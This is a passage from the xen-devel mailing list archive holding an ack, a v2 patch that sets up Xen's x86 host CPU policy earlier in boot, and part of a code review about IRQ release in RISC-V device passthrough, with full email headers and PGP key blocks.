 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260604184413.788910-1-jason.andryuk@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783058272-4532F986-08FE423C/0/0
X-purgate-type: clean
X-purgate-size: 285

On 04.06.2026 20:44, Jason Andryuk wrote:
> I'd like to help with reviews of Argo.
> 
> Signed-off-by: Jason Andryuk <jason.andryuk@amd.com>

With reference to
https://lists.xen.org/archives/html/xen-devel/2026-07/msg00196.html
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 06:26:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 06:26:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352856.1609167 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfXLk-0005ya-2j; Fri, 03 Jul 2026 06:26:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352856.1609167; Fri, 03 Jul 2026 06:26:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfXLj-0005yT-Vd; Fri, 03 Jul 2026 06:26:07 +0000
Received: by outflank-mailman (input) for mailman id 1352856;
 Fri, 03 Jul 2026 06:26:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfXLi-0005yM-3D
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 06:26:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfXLg-00H54x-Nj
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 08:26:04 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4755e0-bab6-0a2a0a5309dd-0a2a4505e232-36
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 08:26:04 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4755fc-3cb2-0a2a45050019-d155dd2dbdc8-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 08:26:04 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-4798bea72f9so123583f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 23:26:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dd53fsm14981470f8f.37.2026.07.02.23.26.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 23:26:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783059964; x=1783664764; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=Osy0sYEvcEVc3wSdb+rsl4BwKV2b8jJ9NOV+BOqJ2/M=;
        b=JhsZ66IHs7razkBPCBqxKrm2z13cwm1yKuThK02Hjkj0veJcbWRGtGT2eRbdmqQc+n
         YIovpar/WfTZjUURimhV1xOiBep82Y2AlFs2EvqpWKYIpspce2UDe70Iop/Dr33qb6CC
         WkwJBHdUKFbcTxKgaTE87gwT2ZFXQ4MYV10rmii03ZZnsl9jXimganjIVNr6G8xTMTG+
         0aTpqW78RwZ706j8hfcnTlHXvsFA+giAdJJBAd7gf0gfCxeYI8QG7MT6dLV1obilepsA
         8h5eTqIUgv4nGWhZn/aiTxw3avnL/LtS5R4x7QYCVeu8EuGDRRzrmJsgnaYCtdgrNbuN
         4qeg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783059964; x=1783664764;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=Osy0sYEvcEVc3wSdb+rsl4BwKV2b8jJ9NOV+BOqJ2/M=;
        b=Or94vcgSk+fVb3h7WgJT/YSzxadka8TkshuwF4bwCwqYnpR0Ew6N2UN1mLDyVA/z3R
         ekA7kZ1H5RUWCYEhC2HDRo9PoUEO1ekdkzZgHcsm3p3ta+bTAa+P/Dm+ldsjd1+b2kH/
         WZ+WBTlOv3O7EAPvBuR8HL6GGUpwK1rLTNQD3pptuUWSgTvVTfD0b1CZZsX6qzhSrAIf
         zu0uDe6p1iFr4GO2e7T0MQLaYGt0LyHR7TlGwoiOjzpozvjASBhfknMXIt6T9GUKIBo8
         kVoeftfv+geavYijufPRzJlxmSCtz691qR6JgD6uFEVh8lS4ye24G6eoYWTirSdSEnnm
         LmPA==
X-Gm-Message-State: AOJu0YxheNfh01oh15OckPwtyKynFWLSpXft9IO9vQTJBoWaMnrN+xMk
	El7ZT19D7ocV54SqgDeZ87JZ/6aB3AaodYVlZDi2L+/HiHzB7GdZ7rT55cReuhbIaLorLk1LLnR
	dzhST0Q==
X-Gm-Gg: AfdE7cnG6GwkptKqXpx+fYHLx8DE14YRE3kFeOwhLI4/nPWrMsVOjtftw3R0G/uBDe4
	xRoFciK3YJxCfH1dDq34gimGjqqhklqMVoJ+tmhDolcYR3wF2PjSUJK1Or0LWMZxYXQUlIk4FQW
	SDiOCtcldjAo0XDK38wvF0rgD9Nmbt9G7yf6PaZlaSBjmwytuOsM8djJSpjy0tPaTarL8l+eeDB
	SMkKY7sDRCxwuk8ITt+chQSY8z00ElFC5IiSK3JKXF0Ejwylw+vZok0LQeg94eDsWtKzhVGBye8
	IXGYXa3rL6aNAjWZn0CrypsRYH2Jnd9rtTFm6H4NWFgh9324MYpOYBbmKKVMKOrn5pQsL0XqrUY
	BSCTEx3e0eLFTeHwyF/K24ihzJFf8+4j7ZQDdlbLjB9sI4DnVYT4k6qydHPIu7VlCc/q45YoJPX
	PptUB9pjEZvH/sk9XhdKCxJbmdyDh9soaZZpjtDXoBsRvWKz04NqhAWJ8ucM/RfrDjC4zyBVpVY
	bj0
X-Received: by 2002:adf:e001:0:10b0:46d:9871:1a44 with SMTP id ffacd0b85a97d-4775a0fcd6dmr9531248f8f.32.1783059963849;
        Thu, 02 Jul 2026 23:26:03 -0700 (PDT)
Message-ID: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Date: Fri, 3 Jul 2026 08:26:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVz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dUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1783059964-15F0F2B8-52C46047/0/0
X-purgate-type: clean
X-purgate-size: 3274

In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
that towards the end of identify_cpu(). Then make sure .x86_capability[]
and host policy remain in sync when setup_{force,clear}_cpu_cap() are
used.

Rename the function now it's no longer static.

Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
This really was part of one of the XSTATE cleanup patches at the head of
the AMX series. This explains the specific placement ahead of the call to
xstate_init()). Likely anything from there downwards shouldn't really
live in identify_cpu() anyway.
---
v2: Call calculate_host_cpu_policy() from setup_{force,clear}_cpu_cap()
    instead of from init_guest_cpu_policies().

--- a/xen/arch/x86/cpu/common.c
+++ b/xen/arch/x86/cpu/common.c
@@ -66,8 +66,10 @@ void __init setup_clear_cpu_cap(unsigned
 	__clear_bit(cap, boot_cpu_data.x86_capability);
 	dfs = x86_cpu_policy_lookup_deep_deps(cap);
 
-	if (!dfs)
+	if (!dfs) {
+		calculate_host_cpu_policy();
 		return;
+	}
 
 	for (i = 0; i < FSCAPINTS; ++i) {
 		cleared_caps[i] |= dfs[i];
@@ -78,6 +80,8 @@ void __init setup_clear_cpu_cap(unsigned
 		       __builtin_return_address(0),
 		       i, forced_caps[i] & dfs[i]);
 	}
+
+	calculate_host_cpu_policy();
 }
 
 void __init setup_force_cpu_cap(unsigned int cap)
@@ -92,6 +96,8 @@ void __init setup_force_cpu_cap(unsigned
 	}
 
 	__set_bit(cap, boot_cpu_data.x86_capability);
+
+	calculate_host_cpu_policy();
 }
 
 bool __init is_forced_cpu_cap(unsigned int cap)
@@ -586,6 +590,8 @@ void identify_cpu(struct cpuinfo_x86 *c)
 	}
 
 	/* Now the feature flags better reflect actual CPU features! */
+	if (c == &boot_cpu_data)
+		calculate_host_cpu_policy();
 
 	xstate_init(c);
 
--- a/xen/arch/x86/cpu-policy.c
+++ b/xen/arch/x86/cpu-policy.c
@@ -359,11 +359,18 @@ void calculate_raw_cpu_policy(void)
     /* Was already added by probe_cpuid_faulting() */
 }
 
-static void __init calculate_host_policy(void)
+void __init calculate_host_cpu_policy(void)
 {
     struct cpu_policy *p = &host_cpu_policy;
     unsigned int max_extd_leaf;
 
+    /*
+     * Bail if the raw policy wasn't set up yet. At least recalculate_xstate()
+     * can't be used yet in that case.
+     */
+    if ( !raw_cpu_policy.basic.max_leaf )
+        return;
+
     *p = raw_cpu_policy;
 
     p->basic.max_leaf =
@@ -904,8 +911,6 @@ static void __init calculate_hvm_def_pol
 
 void __init init_guest_cpu_policies(void)
 {
-    calculate_host_policy();
-
     if ( IS_ENABLED(CONFIG_PV) )
     {
         calculate_pv_max_policy();
--- a/xen/arch/x86/include/asm/cpu-policy.h
+++ b/xen/arch/x86/include/asm/cpu-policy.h
@@ -30,4 +30,10 @@ void recalculate_cpuid_policy(struct dom
  */
 void calculate_raw_cpu_policy(void);
 
+/*
+ * Collect the host CPU policy.  Called after collecting enough CPUID output,
+ * and again after all feature overrides have been put in place.
+ */
+void calculate_host_cpu_policy(void);
+
 #endif /* X86_CPU_POLICY_H */


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 07:21:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 07:21:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352912.1609192 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfYDR-0005Y0-1d; Fri, 03 Jul 2026 07:21:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352912.1609192; Fri, 03 Jul 2026 07:21:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfYDQ-0005Xt-V6; Fri, 03 Jul 2026 07:21:36 +0000
Received: by outflank-mailman (input) for mailman id 1352912;
 Fri, 03 Jul 2026 07:21:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfYDP-0005Xn-Ew
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 07:21:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfYDO-009EYT-Gj
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:21:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4762ea-e002-0a2a0a5209dd-0a2a45019242-26
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 09:21:34 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4762fe-400f-0a2a45010019-d1558033b42d-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 09:21:34 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso2108745e9.0
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 00:21:34 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c0e92687sm157586555e9.0.2026.07.03.00.21.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 03 Jul 2026 00:21:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783063294; x=1783668094; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=njq/POdC0ep8atQorNWA20dk/rulCctxQiil69IKqHg=;
        b=E+Q37yFpRxKoqdeuHzQGhbZvl0LX3E2AJ4LjML8Kx5bVA8oK9JX1cYRg9JMRint7MJ
         gY7yPt6m7HmG/Yl91jOYL/UfYnVZv/1WsJEb2Q0Ozv+f805pefEs4lJ+1T8p8srwkW42
         m3f/Ic3kx6NBr265BEqs17GirEUYsFF2FuTAl+NpVuOGlV/UNAkIWBGCoUjC27vwCA3e
         0MVWEuRzAR6rIRF/l8hHL4+AVRqkqgedYhEJTuMRbEom3psQ8eRS8SYjEgt9P5rcaG4y
         EJMD1tBMyt0jmzZhcKtQAlk4OrF0niSF6bbZDfY0G25eJJLH13Z6xtOHJE6usYZPv9FI
         rIEA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783063294; x=1783668094;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=njq/POdC0ep8atQorNWA20dk/rulCctxQiil69IKqHg=;
        b=aqXXhRlBCvXD097RGXc8b2Zj29kz1GoCpm/5DBYGYhloQfO4v7pHUV2bIwHCSDUpzw
         uzyfYDfD/Ld8KzmlTzmpnSD5Ybb9PAHfYb6sRgDIRf3JkfqrzVwN5KfLQ3XHqaPPbnJ8
         Mlf5X0poL/TRtgUzeRx46b3DVlJJe5AzWAyyCdueiG5cwV7HmpV3Wcgvs4ZE7lCd+QBg
         LoRzJ3flv9OdOQFKazeC1nzPSKdP8V4Lls+QXLtOKIz9Mfu9Y0XZ7UNOZmCgRgByTZE4
         6dhmNqjwmHU2EROPLdiww6e2Kp29ovWYdsQSzsHLEl/JoEh9vvjZxXxjgT2NqLjSqsQh
         iSeQ==
X-Forwarded-Encrypted: i=1; AFNElJ/MkojeoVZJ8877PhI8a+/qN4WXQTmL8XPOQxTK8J422koclIGPvavnAASqbfhbdzcASeroxtSl/4k=@lists.xenproject.org
X-Gm-Message-State: AOJu0YykaWa4HR2b3ZrpQsX89f3Pz1mZl5RUkbWorMc402haWNvkGWS+
	g43CtlbJInnC0lXbTD6GR2OwCpcZKfTf/sDLeO9Nl5soBcbSB6rUhrOzBQ9YcHypuw==
X-Gm-Gg: AfdE7ckkx47QngciCDvTdqBuH9rajlXSws5wcjNNpAutof42AFNm9EPfp4WjiAQPqfT
	xnwEPIU1qA86FNpZfmYzLuQiJghnozwEq0wW7oUko7aymt7jkGHpQBn+o5a7Q9UojqJtaWDNkWG
	ss9u2IRWF+4t2Gz4PHrhY0EQQxgqFoJfZU9BjXRF6Mfw+Aucp/BXQK/xxxe6iIcrQcmDdi/GndC
	y/C4Nbim8oPVXZy/GoZrZ3/ci/z3L6oHw/MQBWyyhv0Ikvrk2PF9+PrXqwch0Np7iYnp25mNyFa
	caPMVHA+2o8h2OuIIROhkrNo9qvxjDI2wcmIy9AMeJWLrR2cJklxusMZbuEVSm5MRrd+vA8R3cO
	cGHFy/vKIXAYeK98Z6dWL1wED41kWpOoZGZ8XSNQTYeu3NwYmQsdZJkYIG3ydFhF61H2TxwYIfl
	FOjYGRSi6CRT9CyiCut+RC8gzXhQKOCsXzlug8jQL6ZiyhuuHWlTKN7o1soPgRvUSrK2ZAwTuPR
	MOd
X-Received: by 2002:a05:600c:3e15:b0:493:a8ff:d7af with SMTP id 5b1f17b1804b1-493c2b15c9bmr129669105e9.4.1783063293517;
        Fri, 03 Jul 2026 00:21:33 -0700 (PDT)
Message-ID: <9a8c4ef2-ae6d-48bc-bd41-6c3147acaff8@suse.com>
Date: Fri, 3 Jul 2026 09:21:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
 <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
 <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
 <e7d430c1-fe57-4b28-a5a2-1c8bfcd54ac4@suse.com>
 <d25c4b45-c3db-4a48-bc18-da9037a858d0@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <d25c4b45-c3db-4a48-bc18-da9037a858d0@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783063294-FF4CA1E0-AB9AEFF2/0/0
X-purgate-type: clean
X-purgate-size: 3110

On 02.07.2026 18:04, Oleksii Kurochko wrote:
> On 7/2/26 4:32 PM, Jan Beulich wrote:
>> On 02.07.2026 11:33, Oleksii Kurochko wrote:
>>> On 7/2/26 8:38 AM, Jan Beulich wrote:
>>>>>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>>>>>> +
>>>>>>> +    release_irq(desc->irq, info);
>>>>>>> +    xvfree(info);
>>>>>>
>>>>>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>>>>>> a dangling pointer. (I think I did point this out before.)

We'll be back to this if ...

>>>>> It should freed in release_irq() as route_irq_to_guest() always set
>>>>> action->free_on_release = true;
>>>>
>>>> Well, "free_on_release" must exits for a purpose. I.e. there must be, now
>>>> or soon, cases where it's set to false. Else simply drop the field.
>>>
>>> I can't simply remove this field because it is part of the common
>>> `struct irqaction` and is used by other arc-s. (I assume that it is not
>>> what you fully meant...)
>>>
>>> IIUC, this field is used to determine whether an irqaction is
>>> heap-allocated (and therefore should be freed) or statically allocated
>>> (and therefore should not be freed).
>>
>> Yes. However, all uses of the field are in arch-specific code. So in
>> principle it could be #ifdef-ed out for RISC-V. There may be a better
>> option, though:
>>
>>> At the moment, all IRQ actions are heap-allocated (on RISC-V), so
>>> free_on_release should always be set to true. In particular, the code
>>> snippet you asked about releases a guest interrupt, and guest interrupt
>>> actions are always heap-allocated. As a result, when release_guest_irq()
>>> calls release_irq(), the associated irqaction will be freed.
>>>
>>> So, from what I can see, the current behavior is correct and I think it
>>> should be left as it is. Do you have any concerns about this?
>>
>> If you only ever have the field set to true, use ASSERT() in place of
>> if().
>>
> 
> It looks like that if we want an `ASSERT()`, it should be in 
> `release_guest_irq()`. However, that would require duplicating part of 
> `release_irq()` to locate the corresponding `irqaction` and verify 
> `free_on_release`. Since guest IRQs are created through 
> `route_irq_to_guest()`, which always sets `action->free_on_release = 
> true`, we are already safe.
> 
> I don't see much benefit in replacing the `if` statement with an 
> `ASSERT()` in `release_irq()`. The current implementation is generic and 
> would also work for Xen-owned, statically allocated interrupts (even 
